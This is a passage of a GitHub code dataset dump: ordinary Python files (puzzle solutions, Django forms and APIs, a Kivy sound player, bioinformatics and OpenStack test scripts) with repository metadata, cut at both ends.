Off([motor1,motor2,motor3,motor4,motor5])\r\n elif previousData == \"3\":\r\n p2.terminate()\r\n Off([motor1,motor2,motor3,motor4,motor5])\r\n send_data = \"Motors On\"\r\n On([motor1,motor2,motor3,motor4,motor5])\r\n \r\n \r\n \r\n#/////////// OFF /////////////////////////////////////////////////////\r\n elif data == \"0\":\r\n if previousData == \"2\":\r\n send_data = \"NO Flashing\"\r\n p1.terminate()\r\n Off([motor1,motor2,motor3,motor4,motor5])\r\n elif previousData == \"3\":\r\n send_data = \"NO Random\"\r\n p2.terminate()\r\n Off([motor1,motor2,motor3,motor4,motor5])\r\n else:\r\n send_data = \"Motors Off\"\r\n Off([motor1,motor2,motor3,motor4,motor5])\r\n \r\n \r\n \r\n#/////////// FLASHING ////////////////////////////////////////////////\r\n elif data == \"2\":\r\n send_data = \"Flashing\"\r\n try:\r\n if previousData == \"3\":\r\n p2.terminate()\r\n motor1.stop()\r\n motor2.stop()\r\n motor3.stop()\r\n motor4.stop()\r\n motor5.stop()\r\n p1 = multiprocessing.Process(target=flashing)\r\n p1.start()\r\n except:\r\n send_data = \"Flashing did not work==============\"\r\n \r\n \r\n \r\n#/////////// RANDOM //////////////////////////////////////////////////\r\n elif data == \"3\":\r\n send_data = \"Random\"\r\n try:\r\n if previousData == \"2\":\r\n p1.terminate()\r\n motor1.stop()\r\n motor2.stop()\r\n motor3.stop()\r\n motor4.stop()\r\n motor5.stop()\r\n p2 = multiprocessing.Process(target=randomFlashing)\r\n p2.start()\r\n except:\r\n send_data = \"Random did not work=================\"\r\n elif data == \"4\":\r\n print(\"received data from server\")\r\n print(\"sending data back to server\")\r\n else:\r\n send_data = \"INVALID INPUT\"\r\n # Sending the data.\r\n print(data)\r\n\r\nexcept:\r\n # Making all the output pins LOW\r\n GPIO.cleanup()\r\n print(\"Terminating...\")\r\n # Terminating the threads\r\n p1.terminate()\r\n p2.terminate()\r\n # Closing the client and server connection\r\n client.close()\r\n\r\n\r\n\r\n","repo_name":"philipjohnf/smartshoes","sub_path":"client.1.py","file_name":"client.1.py","file_ext":"py","file_size_in_byte":7822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71835908354","text":"def differentSquares(matrix):\n uniqueSquares = set()\n\n for rowIdx in range(len(matrix) - 1):\n for colIdx in range(len(matrix[0]) - 1):\n subMatrix = (tuple(matrix[rowIdx][colIdx: colIdx + 2]), tuple(matrix[rowIdx + 1][colIdx: colIdx + 2]))\n uniqueSquares.add(subMatrix)\n\n return len(uniqueSquares)\n print(len(uniqueSquares))\n\n\n\"\"\" TESTS \"\"\"\n\nres = differentSquares([[1, 2, 1],\n [2, 2, 2],\n [2, 2, 2],\n [1, 2, 3],\n [2, 2, 1]])\n\nprint(res)\n","repo_name":"codeAligned/codingChallenges","sub_path":"CodeFights/arcade/Intro/level12-differentSquares.py","file_name":"level12-differentSquares.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29576029670","text":"commands = open('08_input.txt', 'r').read().splitlines()\n\nexecuted_commands = []\nacc = 0\nworks = False\ncommands_cpy = commands[:]\n\n\ndef execute_command(i):\n global acc, works, commands_cpy\n if i >= len(commands):\n return\n command = commands_cpy[i]\n if i in executed_commands:\n works = False\n return\n executed_commands.append(i)\n if command[:3] == 'acc':\n acc += int(command[4:])\n return execute_command(i+1)\n elif command[:3] == 'jmp':\n return execute_command(i + int(command[4:]))\n else:\n return execute_command(i+1)\n\nfor i, command in enumerate(commands):\n executed_commands = []\n acc = 0\n works = True\n commands_cpy = commands[:]\n if command[:3] == 'jmp':\n commands_cpy[i] = commands_cpy[i].replace('jmp', 'nop')\n elif command[:3] == 'nop':\n commands_cpy[i] = commands_cpy[i].replace('nop', 'jmp')\n execute_command(0)\n if works == True:\n print(acc)\n\n","repo_name":"SH1RL0CK/advent_of_code","sub_path":"2020/08_puzzle2.py","file_name":"08_puzzle2.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41878443389","text":"class Solution(object):\n def numberOfWeakCharacters(self, properties):\n \"\"\"\n :type properties: List[List[int]]\n :rtype: int\n \"\"\"\n \n n = len(properties)\n \n # sort descending by attack, O(nlogn)\n sp1 = sorted(properties, reverse = True)\n \n # sort ascending by defense if same attack, O(nlogn)\n sp2 = []\n attack = sp1[0][0]\n same_attack_properties = []\n for i in range(n):\n if sp1[i][0] == attack:\n same_attack_properties.append(sp1[i])\n else:\n sp2.extend(sorted(same_attack_properties, key = lambda x: x[1], reverse = False))\n attack = sp1[i][0]\n same_attack_properties = [sp1[i]]\n sp2 = sp2 + sorted(same_attack_properties, key = lambda x: x[1], reverse = False)\n \n # count number of property that has smaller defense and the maximum defense before it, O(n)\n max_d = sp2[0][1]\n output = 0\n for i in range(n):\n d = sp2[i][1]\n if d N-1 or j > M-1:\n continue\n elif db[i][j] == -1 or db[i][j] == 1:\n continue\n elif db[i][j] == 0:\n # history.append(i, j)\n db[i][j] = 1\n global count\n count = c\n queue.append((i-1,j,c+1))\n queue.append((i+1,j,c+1))\n queue.append((i,j-1,c+1))\n queue.append((i,j+1,c+1))\nbfs()\nmature = True\nfor i in range(len(db)):\n if 0 in db[i]:\n mature = False\n break\nif mature is False:\n print(-1)\nelse:\n print(count)","repo_name":"lgj9172/algorithm","sub_path":"baekjoon/dfs & bfs/7576(토마토).py","file_name":"7576(토마토).py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24866746257","text":"# Code adapted from CI Boutique Ado mini project\n\nfrom django import forms\nfrom .widgets import CustomClearableFileInput\nfrom .models import (\n Product, Gender, ArticleType, MasterCategory, SubCategory, SpecialOffer)\n\n\nclass ProductForm(forms.ModelForm):\n\n class Meta:\n model = Product\n fields = '__all__'\n\n image = forms.ImageField(\n label='Image',\n required=False,\n widget=CustomClearableFileInput)\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n gender = Gender.objects.all()\n article_type = ArticleType.objects.all()\n master_category = MasterCategory.objects.all()\n sub_category = SubCategory.objects.all()\n special_offer = SpecialOffer.objects.all()\n gender_display_name = [(\n g.id,\n g.gender_display_name()\n ) for g in gender]\n article_type_display_name = [(\n at.id,\n at.article_type_display_name()\n ) for at in article_type]\n master_category_display_name = [(\n mc.id,\n mc.master_category_display_name()\n ) for mc in master_category]\n sub_category_display_name = [(\n sc.id,\n sc.sub_category_display_name()\n ) for sc in sub_category]\n special_offer_display_name = [(\n so.id,\n so.special_offer_display_name()\n ) for so in special_offer]\n\n self.fields['gender'].choices = gender_display_name\n self.fields['article_type'].choices = article_type_display_name\n self.fields['master_category'].choices = master_category_display_name\n self.fields['sub_category'].choices = sub_category_display_name\n self.fields['special_offer'].choices = special_offer_display_name\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'border-dark rounded-0'\n","repo_name":"simonjvardy/Sportswear-Online","sub_path":"products/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"6772469396","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\"\"\"\nparallel run liftOverValidPairs by snakemake\n\"\"\"\n\nfrom __future__ import print_function\n\nimport argparse\nimport logging\nimport os\nimport os.path as op\nimport sys\n\n\ndef parallel_liftOver(args):\n \"\"\"\n %(prog)s \n \"\"\"\n p = argparse.ArgumentParser(prog=parallel_liftOver.__name__,\n description=parallel_liftOver.__doc__,\n formatter_class=argparse.RawTextHelpFormatter,\n conflict_handler='resolve')\n pReq = p.add_argument_group('Required arguments')\n pOpt = p.add_argument_group('Optional arguments')\n pReq.add_argument('validpairs', \n help='validpairs from hicpro')\n pReq.add_argument('old_agp', help='old agp file')\n pReq.add_argument('new_agp', help='new agp file')\n \n pOpt.add_argument('--nosplit', action='store_true', default=False, \n help='Do not split validpairs [default: %(default)s]')\n pOpt.add_argument('-t', '--threads', type=int, default=20,\n help='threads number of each script [default: %(default)s]')\n pOpt.add_argument('-j', '--jobs', type=int, default=10, \n help='maximum jobs of snakemake submit to cluster')\n pOpt.add_argument('--cluster', default='qsub -l nodes=1:ppn={threads}'\n ' -j oe -q workq -V', help='snakemake cluster command [default: %(default)s]')\n pOpt.add_argument('-s', '--snakefile', default=None, \n help='snakefile of parallel_liftOver.smk [default: auto find]')\n \n pOpt.add_argument('-h', '--help', action='help',\n help='show help message and exit.')\n \n args = p.parse_args(args)\n\n path = op.dirname(op.realpath(__file__))\n\n sample = op.basename(args.validpairs).split(\".\")[0]\n ## split validpairs\n if not args.nosplit:\n cmd = \"split -n -a 4 -l {} data/{}\".format(1000000, sample)\n #os.system(cmd)\n print(cmd)\n ## run snakemake\n if not args.snakefile:\n snakefile = op.join(path, \"parallel_liftOver.smk\")\n else:\n snakefile = args.snakefile\n \n if not op.exists(snakefile):\n logging.error(\"No such snakefile of `{}`\".format(snakefile))\n sys.exit()\n cmd = \"snakemake -s {} --config sample={} old_agp={} \\\n new_agp={} ncpus={} -j {} \"\n cmd = cmd.format(snakefile, sample, args.old_agp,\n args.new_agp, args.threads, args.jobs)\n cmd += \"--jobname liftOver.{rulename}.{jobid}.sh \"\n if args.cluster:\n cmd += '--cluster \"{}\"'.format(args.cluster)\n \n \n \n print(cmd)\n os.system(cmd)\n\n\nif __name__ == \"__main__\":\n parallel_liftOver(sys.argv[1:])","repo_name":"wangyibin/TDGP","sub_path":"pipeline/assembly_adjust/parallel_liftOver.py","file_name":"parallel_liftOver.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"29576131890","text":"import string\n\ncontent = open(\"2022/03_puzzle_input.txt\", \"r\").read().splitlines()\n\nresult = 0\n\nfor i in range(0, len(content), 3):\n same_item = set(content[i]).intersection(content[i + 1], content[i + 2])\n result += string.ascii_letters.find(list(same_item)[0]) + 1\n\nprint(result)\n","repo_name":"SH1RL0CK/advent_of_code","sub_path":"2022/03_puzzle2.py","file_name":"03_puzzle2.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1900438167","text":"from django.urls import path\n\nfrom .views import (\n ServiceView, ServiceDetailView, \n ServiceUserView, ServiceUserDetailView,\n ServiceUsageView, ServiceUsageDetailView,\n SocialMediaView, SocialMediaDetailView,\n InterestorsView, InterestorDetailView,\n)\n\nurlpatterns = [\n path('services/', ServiceView.as_view(), name='services'),\n path('service//', ServiceDetailView.as_view(), name='service_detail'),\n \n path('services/users/', ServiceUserView.as_view(), name='service_users'),\n path('services/user//', ServiceUserDetailView.as_view(), name='service_user_detail'),\n \n path('services/usages/', ServiceUsageView.as_view(), name=\"service_usages\"),\n path('service/usage//', ServiceUsageDetailView .as_view(), name=\"service_usage_detail\"),\n \n path('social-medias/', SocialMediaView.as_view(), name=\"social_medias\"),\n path('social-media//', SocialMediaDetailView.as_view(), name='social_media_detail'),\n \n path('interestors/', InterestorsView.as_view(), name='interestors'),\n path('interestor//', InterestorDetailView.as_view(), name=\"interestor_detil\"),\n]","repo_name":"mrdjangodev/Learn-DRF","sub_path":"study_centr/marketing/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2014079909","text":"from glob import glob\nfrom random import choice\nfrom functools import partial\n\nfrom kivy.core.audio import SoundLoader\n\nfrom kivyx.widgets import Widget\nfrom utils.misc import separate_thread\n\n\nclass SoundPlayer(Widget):\n \"\"\"Superclass for sound players with sound event handling.\"\"\"\n sound_cache = {}\n\n def on_stop(self, sound, *args):\n \"\"\"Default handler.\"\"\"\n pass\n\n def on_start(self, sound, *args):\n \"\"\"Default handler.\"\"\"\n pass\n\n\nclass SoundFXPlayer(SoundPlayer):\n \"\"\"A sound effects player that plays various sounds at a time.\"\"\"\n\n def __init__(self):\n SoundPlayer.__init__(self)\n self.playing = []\n\n self.register_event_type(\"on_stop\")\n self.register_event_type(\"on_start\")\n\n def load_sound(self, filename, use_cache=True):\n if use_cache and filename in SoundFXPlayer.sound_cache:\n return SoundFXPlayer.sound_cache[filename]\n\n sound = SoundLoader.load(filename)\n\n if use_cache:\n SoundFXPlayer.sound_cache[filename] = sound\n\n return sound\n\n @separate_thread\n def play(self, filename, use_cache=True, volume=1.0):\n sound = self.load_sound(filename, use_cache=use_cache)\n\n if sound is None:\n return\n\n self.playing.append(sound)\n\n sound.volume = volume\n sound.play()\n sound.bind(on_stop=partial(self.stop, sound))\n\n self.dispatch(\"on_start\", sound)\n\n def stop(self, sound, *args):\n if sound.state != \"stop\":\n sound.stop()\n\n if sound in self.playing:\n self.playing.remove(sound)\n\n self.dispatch(\"on_stop\", sound)\n\n\nclass MusicPlayer(SoundPlayer):\n \"\"\"A music player that plays only one music at a time.\"\"\"\n\n def __init__(self):\n SoundPlayer.__init__(self)\n self.playing = None\n\n self.register_event_type(\"on_stop\")\n self.register_event_type(\"on_start\")\n\n def load_sound(self, filename, use_cache=True):\n if use_cache and filename in MusicPlayer.sound_cache:\n return MusicPlayer.sound_cache[filename]\n\n sound = SoundLoader.load(filename)\n\n if use_cache:\n MusicPlayer.sound_cache[filename] = sound\n\n return sound\n\n @separate_thread\n def play(self, filename, use_cache=True, volume=1.0):\n if self.playing is not None:\n self.stop()\n\n self.playing = self.load_sound(filename, use_cache=use_cache)\n\n if self.playing is None:\n return\n\n self.playing.volume = volume\n self.playing.play()\n self.playing.bind(on_stop=self.stop)\n\n self.dispatch(\"on_start\", self.playing)\n\n def stop(self, *args):\n if self.playing is None:\n return\n\n if self.playing.state != \"stop\":\n self.playing.stop()\n\n self.dispatch(\"on_stop\", self.playing)\n self.playing = None\n\n\nclass ShuffleMusicPlayer(MusicPlayer):\n def __init__(self, sound_directory, extension, volume=1.0):\n MusicPlayer.__init__(self)\n self.sound_directory = sound_directory\n self.extension = extension\n self._volume = volume\n self.sound_player = MusicPlayer()\n\n @property\n def volume(self):\n return self._volume\n\n @volume.setter\n def volume(self, value):\n self._volume = value\n\n if self.sound_player.playing is not None:\n self.sound_player.playing.volume = value\n\n def start(self):\n if self.sound_player.playing is not None:\n return\n\n self.sound_player.bind(on_stop=self._play_random)\n self._play_random()\n\n def stop(self):\n if self.sound_player.playing is not None:\n self.sound_player.unbind(on_stop=self._play_random)\n self.sound_player.stop()\n\n def _play_random(self, *args):\n if self.sound_player.playing is None:\n filename = choice(glob(self.sound_directory + self.extension))\n self.sound_player.play(filename, volume=self.volume)\n","repo_name":"2xR/legacy","sub_path":"kivyx/sound.py","file_name":"sound.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32912436730","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nfrom utils.utils import validate_token\nfrom utils.permissions import CheckApiKeyAuth, AuthorizationWithoutGet\nfrom .models import Coin\nfrom .serializers import CoinSerializer\n\n\nclass CoinApiView(APIView):\n \"\"\" \n API coins \n \"\"\"\n permission_classes = [CheckApiKeyAuth, AuthorizationWithoutGet]\n\n def get(self, request, format=None):\n \"\"\" get all coins \"\"\"\n queryset = Coin.objects.all()\n serializer = CoinSerializer(queryset, many=True)\n return Response(serializer.data)\n\n def post(self, request):\n \"\"\" create coin\"\"\"\n user = validate_token(request.headers.get('Authorization'))\n if user is not None and user.is_superuser is True:\n serializers_post = CoinSerializer(data=request.data)\n\n if serializers_post.is_valid():\n coin_name = serializers_post.validated_data.get('coin_name')\n try:\n serializers_post.save(created_by=user)\n return Response(\n {'message': 'Moneda ' + coin_name + ' creada.'}, \n status=200)\n\n except Exception as e:\n msg = e.args[0]\n if 'UNIQUE constraint failed: t_coins.coin_name' in msg:\n msg = 'La moneda ' + coin_name + ' ya se encuentra registrada'\n return Response(\n {\n 'error': msg\n }, \n status=status.HTTP_400_BAD_REQUEST\n )\n\n else:\n return Response(\n serializers_post.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n else:\n msg = 'Faltan credenciales de autenticación.'\\\n if user is None else 'Debes ser super usuario'\n return Response(\n {'error': msg},\n status=status.HTTP_400_BAD_REQUEST\n )\n","repo_name":"edwardforero/reto-ripio","sub_path":"backend/coins_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27510077383","text":"\"\"\" \nWrite a function, tolerant_teams, that takes in a list of rivalries as an argument. A rivalry is \na pair of people who should not be placed on the same team. The function should return a boolean \nindicating whether or not it is possible to separate people into two teams, without rivals being \non the same team. The two teams formed do not have to be the same size.\n\nThis problem is more commonly known as 'is graph bipartite' meaning capable of divided into two groups\n\"\"\"\nimport collections\ndef tolerant_teams(team_list):\n # Creating a default dictionary with list as it's values\n graph = collections.defaultdict(list)\n\n # Since this is an acyclic graph, we append x nodes with y and vice-versa\n for x,y in team_list:\n graph[x].append(y)\n graph[y].append(x)\n\n # Empty dictionary to begin with, where keys will be the nodes of the graph and \n # values will be boolean values representing alternating colors. \n coloring = {}\n\n # Itertive logic to color each node of the graph\n for node in graph:\n if node not in coloring:\n if validate(graph, node, coloring, False) == False:\n return False \n\n return coloring \n\ndef validate(graph, node, coloring, current_color):\n # Base case if the node that I am currently visiting has already been visited before \n # And if the current color that I am assigning is the color that is previously assigned.\n if node in coloring:\n return current_color == coloring[node]\n\n # Otherwise the node has not been previously colored, and we should color it \n coloring[node] = current_color\n\n # Now I am visiting all the neighbors of the current node, recursively call the validate function\n # and importantly flip the color using the boolean not \n for neighbor in graph[node]:\n if validate(graph, neighbor, coloring, not current_color) == False:\n return False \n\n return True \n\n# test case 01:\nteam_list = [\n ('philip', 'seb'),\n ('raj', 'nader')\n] \nprint(tolerant_teams(team_list))\n\n# test case 02:\nteam_list = [\n ('philip', 'seb'),\n ('raj', 'nader'),\n ('raj', 'philip'),\n ('seb', 'raj')\n] \nprint(tolerant_teams(team_list))\n\n# test case 03:\nteam_list = [\n ('cindy', 'anj'),\n ('alex', 'matt'),\n ('alex', 'cindy'),\n ('anj', 'matt'),\n ('brando', 'matt')\n]\nprint(tolerant_teams(team_list))\n\n# test case 04:\nteam_list = [\n ('alex', 'anj'),\n ('alex', 'matt'),\n ('alex', 'cindy'),\n ('anj', 'matt'),\n ('brando', 'matt')\n]\nprint(tolerant_teams(team_list))","repo_name":"monika0603/glowing-spork","sub_path":"graphs/tolerant_teams.py","file_name":"tolerant_teams.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"150278441","text":"import sqlite3\n\n\nconnection = sqlite3.connect(\"my_friends.db\")\n\n# Create a cursor\nc = connection.cursor()\n\n# Execute some sql\nc.execute(\"CREATE TABLE friends (first_name TEXT, last_name TEXT, closeness INTEGER);\")\n\ninsert_query = '''INSERT INTO friends\n VALUES('Merriwether', 'Lewis', 7)\n'''\n\nc.execute(insert_query)\n\ndata = ('Steve', 'Irwin', 9)\n\nquery = f\"INSERT INTO friends VALUES(?,?,?)\"\n\nc.execute(query, data)\n# commit the changes\nconnection.commit()\n\nconnection.close()\n","repo_name":"bhokumar/python-apps","sub_path":"initial-project/sql/friends.py","file_name":"friends.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23545932111","text":"from collections import deque, Counter\n\ndef flip(pancakes, i, k):\n new_pancakes = pancakes[:i] + [\"-\" if p == \"+\" else \"+\" for p in pancakes[i:i+k]] + pancakes[i+k:]\n return new_pancakes\n\n\ndef solve(line):\n pancakes, k = line.split()\n num_pos = pancakes.count(\"+\")\n k = int(k)\n pancakes = list(pancakes)\n flips = 0\n for i in range(len(pancakes)):\n if pancakes[i] == \"-\":\n flips += 1\n negs = pancakes[i:i+k].count(\"-\")\n num_pos = num_pos - (k-negs) + negs\n pancakes = flip(pancakes, i, k)\n if num_pos == len(pancakes):\n return flips\n return \"IMPOSSIBLE\"\n\n\nnum = int(input())\nfor i in range(1, num+1):\n print(\"Case #{}: {}\".format(i, solve(input())))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/3271.py","file_name":"3271.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17746006851","text":"import requests\nimport datetime\nimport calendar\nfrom flask import Flask\nfrom flask import request\nfrom flask import redirect\nfrom flask import render_template\nimport json\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\ntoday = datetime.datetime.today().weekday()\n\n@app.route('/')\ndef main():\n # Just redirect to homepage until it posts to authed\n return redirect(\"https://localhost:4443/\", code=302)\n\n@app.route('/auth_complete', methods=[\"POST\"])\ndef authed():\n name = request.form[\"name\"]\n new_token = request.form[\"access_token\"]\n #new_token = \"EAAKfazv5gZAABAB59FEJ8jPlaUxkp28x5d5gM2ZBnBXMNtTQvcARZBPrqPYfJkf7JplaFXsVPyoGJgrJo58lnqrTqhoXGlj1sFKjxhx4Tml8VYlFHYztVGfgxq21iK6njTZBV1h7w8sAHTbehKk1ZClOOKkIz9ygzFFkjeHjtA05EJ2lzOB5B8ZB9hDXBiV6cZD\"\n #name = \"Brooklyn McLaury\"\n\n a_dict = {\n \"optimal_time\": optimal_time(new_token, name),\n \"followers\": get_stats(\"followers\", new_token, name),\n \"views_last\": get_stats(\"views_last\", new_token, name),\n \"todays_imp\": get_stats(\"todays_imp\", new_token, name),\n \"profile_photo\": get_stats(\"photo\", new_token, name)\n }\n return a_dict\n\ndef optimal_time(token, name):\n r = requests.get(\"https://graph.facebook.com/v4.0/me/accounts?access_token=\"+str(token))\n f = r.json()\n\n for i in f[\"data\"]:\n if i[\"name\"] == name:\n n = requests.get(\"https://graph.facebook.com/v4.0/\"+i[\"id\"]+\"?fields=instagram_business_account&access_token=\"+str(token))\n sec = n.json()\n\n # Setting up the period (aka two weeks ago) to search through\n start_date = 0\n end_date = 0\n\n start_date = (datetime.datetime.now() - datetime.timedelta(days=today)) - datetime.timedelta(days=14)\n start_date = start_date.replace(hour=00, minute=00,second=00)\n end_date = start_date + datetime.timedelta(days=7)\n end_date = end_date.replace(hour=23, minute=00,second=00)\n\n j = requests.get(\"https://graph.facebook.com/v4.0/\"+sec[\"instagram_business_account\"][\"id\"]+\"/insights?metric=online_followers&period=lifetime&since=\"+str(start_date)+\"&until=\"+str(end_date)+\"&access_token=\"+str(token))\n\n fin = j.json()\n\n hours_day = []\n views = []\n\n days_fin = []\n hours = 0\n\n for days in fin[\"data\"][0][\"values\"]:\n for times in days[\"value\"]:\n if hours <= 23:\n hours_day.append(times)\n views.append(days[\"value\"][times])\n hours+=1\n else:\n max = 0\n first = True\n for i in range(len(views)):\n if first:\n max = views[i]\n first = False\n else:\n if views[i] > max:\n max = views[i]\n\n temp = views.index(max)\n days_fin.append(hours_day[temp])\n views = []\n hours_day = []\n max = 0\n temp = 0\n hours = 0\n\n print(days_fin[5])\n return days_fin[5]\n\ndef get_stats(option, token, name):\n r = requests.get(\"https://graph.facebook.com/v4.0/me/accounts?access_token=\"+str(token))\n f = r.json()\n\n for i in f[\"data\"]:\n if i[\"name\"] == name:\n n = requests.get(\"https://graph.facebook.com/v4.0/\"+i[\"id\"]+\"?fields=instagram_business_account&access_token=\"+str(token))\n sec = n.json()\n id = sec[\"instagram_business_account\"][\"id\"]\n\n if option == \"photo\":\n z = requests.get(\"https://graph.facebook.com/v4.0/\"+id+\"?fields=profile_picture_url&access_token=\"+str(token))\n return z.json()[\"profile_picture_url\"]\n\n if option == \"followers\":\n z = requests.get(\"https://graph.facebook.com/v4.0/\"+id+\"?fields=business_discovery.username(brooklyn.mclaury){followers_count,media_count}&access_token=\"+str(token))\n print(z.json()[\"business_discovery\"][\"followers_count\"])\n return z.json()[\"business_discovery\"][\"followers_count\"]\n\n if option == \"views_last\":\n z = requests.get(\"https://graph.facebook.com/v4.0/\"+id+\"/media?access_token=\"+str(token))\n # print(z.json())\n recent_id = z.json()[\"data\"][0][\"id\"]\n\n # print(recent_id)\n\n # print(recent_id)\n\n x = requests.get(\"https://graph.facebook.com/v4.0/\"+str(recent_id)+\"/insights?metric=impressions&period=lifetime&access_token=\"+str(token))\n # print(x.json()[\"data\"][\"values\"][\"value\"])\n print(x.json()[\"data\"][0][\"values\"][0][\"value\"])\n return x.json()[\"data\"][0][\"values\"][0][\"value\"]\n\n if option == \"todays_imp\":\n z = requests.get(\"https://graph.facebook.com/v4.0/\"+str(id)+\"/insights?metric=impressions&period=day&access_token=\"+str(token))\n # print(z.json())\n # print(x.json()[\"data\"][\"values\"][\"value\"])\n print(z.json()[\"data\"][0][\"values\"][0][\"value\"] + z.json()[\"data\"][0][\"values\"][1][\"value\"])\n return z.json()[\"data\"][0][\"values\"][0][\"value\"] + z.json()[\"data\"][0][\"values\"][1][\"value\"]\n\nif __name__ == \"__main__\":\n app.run(\"0.0.0.0\",port=5000)\n","repo_name":"br00klyn93/b-media-endpoints","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19760502177","text":"import hashlib\nimport os\nimport sys\nimport tempfile\n\nfrom yakumo.smoketest import *\nfrom yakumo import utils\n\n\ndef main(c):\n\n # check Identity API version\n if c._session.config[u'identity_api_version'] != '3':\n return\n\n LOG.info(\"Create Service #1\")\n name = get_random_str('service')\n with c.service.create(name=name,\n type='type1',\n description='service 1',\n is_enabled=False) as s:\n\n test(\"Service #1: name is %s\" % name, s.name == name)\n test(\"Service #1: type is 'type1'\", s.type == 'type1')\n test(\"Service #1: description is 'service 1'\",\n s.description == 'service 1')\n test(\"Service #1: is disabled\", not s.is_enabled)\n\n LOG.info(\"Update service properties\")\n name = get_random_str('service')\n s.update(name=name, type='type2', description='service 2',\n is_enabled=True)\n\n test(\"Service #1: name is %s\" % name, s.name == name)\n test(\"Service #1: type is 'type1'\", s.type == 'type2')\n test(\"Service #1: description is 'service 2'\",\n s.description == 'service 2')\n test(\"Service #1: is enabled\", s.is_enabled)\n\n LOG.info(\"Create Region #1\")\n region_id = get_random_str('region')\n with c.region.create(id=region_id, description='region 1') as r:\n\n test(\"Region #1: id is %s\" % region_id, r.id == region_id)\n test(\"Region #1: description is 'region 1'\",\n r.description == 'region 1')\n\n LOG.info(\"Update region properties\")\n r.update(description='region 2')\n\n test(\"Region #1: description is 'region 2'\",\n r.description == 'region 2')\n\n LOG.info(\"Create Endpoints\")\n name = get_random_str('endpoint')\n url = 'http://%s/v1/public' % name\n with c.endpoint.create(url=url,\n interface='public',\n region=r,\n service=s) as e:\n\n test(\"Endpoints #1: service is %s\" % s.name, e.service == s)\n test(\"Endpoints #1: region is %s\" % r.id, e.region == r)\n test(\"Endpoints #1: url is %s\" % url, e.url == url)\n test(\"Endpoints #1: interface is public\",\n e.interface == 'public')\n\n LOG.info(\"Update endpoint properties\")\n name = get_random_str('endpoint')\n url = 'http://%s/v1/internal' % name\n e.update(url=url, interface='internal')\n\n test(\"Endpoints #1: url is %s\" % url, e.url == url)\n test(\"Endpoints #1: interface is internal\",\n e.interface == 'internal')\n\n\nif __name__ == '__main__':\n c = utils.get_client()\n if c._session.config[u'identity_api_version'] != '3':\n sys.exit(0)\n\n LOG.debug(\"list services: %s\", [_.name for _ in c.service.list()])\n LOG.debug(\"list endpoints: %s\", c.endpoint.list())\n main(c)\n LOG.debug(\"list service: %s\", [_.name for _ in c.service.list()])\n LOG.debug(\"list endpoints: %s\", c.endpoint.list())\n\n show_test_summary()\n","repo_name":"iliiilililii/python-yakumo","sub_path":"yakumo/smoketests/st13_v3_service_endpoint_admin.py","file_name":"st13_v3_service_endpoint_admin.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"10337666147","text":"import copy\nimport unittest\n\nfrom opusfilter.pipeline import FilterPipeline\n\n\nclass TestFilterPipeline(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n self.config = [\n {'LengthFilter': {'min_length': 1, 'max_length': 100,\n 'unit': 'word'}},\n {'LengthRatioFilter': {'threshold': 3, 'unit': 'word'}},\n {'LongWordFilter': {'threshold': 40}},\n {'AverageWordLengthFilter': {'min_length': 1, 'max_length': 20}},\n {'HtmlTagFilter': {}},\n {'CharacterScoreFilter': {'scripts': ['Latin', 'Latin'],\n 'thresholds': [1, 1]}},\n {'LanguageIDFilter': {'languages': ['en', 'sv'],\n 'thresholds': [0, 0]}},\n {'TerminalPunctuationFilter': {'threshold': -2}},\n {'NonZeroNumeralsFilter': {'threshold': 0.5}}\n ]\n\n def test_from_config(self):\n fp = FilterPipeline.from_config(self.config)\n self.assertEqual(len(fp.filters), 9)\n\n def test_set_chunksize(self):\n fp = FilterPipeline.from_config(self.config)\n fp.chunksize = 100\n\n def test_set_chunksize_value_error(self):\n fp = FilterPipeline.from_config(self.config)\n with self.assertRaises(ValueError):\n fp.chunksize = None\n with self.assertRaises(ValueError):\n fp.chunksize = 0\n\n def test_score(self):\n fp = 